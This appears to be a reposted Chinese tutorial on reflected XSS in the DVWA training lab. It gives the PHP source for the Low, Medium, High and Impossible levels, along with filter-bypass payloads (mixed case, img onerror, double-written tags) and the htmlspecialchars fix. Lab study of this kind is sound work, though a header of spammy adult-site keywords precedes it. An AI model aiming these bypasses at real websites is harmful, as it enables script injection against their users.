日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Reflected Cross Site Scripting (XSS)

發(fā)布時間:2023/12/14 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Reflected Cross Site Scripting (XSS) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言

反射型XSS, 即 Reflected Cross Site Scripting (XSS),??攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒有這樣的 頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。

下面對四種不同等級的反射型XSS漏洞進行分析:

?

?

  • Low

服務(wù)端核心代碼:

<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end user$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>

可以看到, 服務(wù)端只是判斷是否存在name參數(shù)值,? 存在就直接執(zhí)行寫入pre標(biāo)簽。

?

漏洞利用

由于沒有作任何防護,? 我們可以直接注入:

http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<script>alert('You are attacked!')</script>

看到注入的語句被當(dāng)做script執(zhí)行了:

?

?

  • Medium

服務(wù)端核心代碼:

<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>"; }?>

Medium級別的服務(wù)端將script標(biāo)簽過濾了,? 但是他沒有不區(qū)分大寫地過濾 (相應(yīng)的可以用正則式來防御)。

?

漏洞利用

這里有三種方法:

  • 方法一:? 大小寫繞過

這里需要明白的一點是

  • HTML中對大小寫不敏感
  • JS中對大小寫敏感

那么我們的注入語句就有:

http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<Script>alert('You are attacked!')</scRipt>

  • 方法二:? 錯誤事件img標(biāo)簽繞過

常規(guī)操作..:

http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img src="" onerror="alert('You are attacked!')">

  • 方法三:? 雙寫繞過

由于服務(wù)端只用str_place()過濾了一次,? 對于多次出現(xiàn)的無法全部匹配完,? 所以這里可以用雙寫繞過:

http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<s<script>cript>alert('You are attacked!')</script>

?

?

  • High

服務(wù)端核心代碼:

<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>"; }?>

可以看到,? ?服務(wù)端用了正則式并且不區(qū)分大小寫地過濾所有script標(biāo)簽,?看來服務(wù)端對script標(biāo)簽的注入是"情有獨鐘"啊!

?

漏洞利用

雖然過濾了script標(biāo)簽,? 但是還是可以進行其他的標(biāo)簽注入,? 比如Medium等級的方法二:

http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img src="" onerror="alert('You are attacked!')">

?

?

  • Impossible

服務(wù)端核心代碼:

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>
  • htmlspecialchars() 函數(shù)

把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實體。

預(yù)定義的字符是:

& (和號) 成為 &amp;

" (雙引號) 成為 &quot;

' (單引號) 成為 &#039;

< (小于) 成為 &lt;

> (大于) 成為 &gt;

使用htmlspecialchars函數(shù)把預(yù)定義的字符&、?、<、>轉(zhuǎn)換為HTML實體,防止瀏覽器將其作為HTML元素。

總結(jié)

以上是生活随笔為你收集整理的Reflected Cross Site Scripting (XSS)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。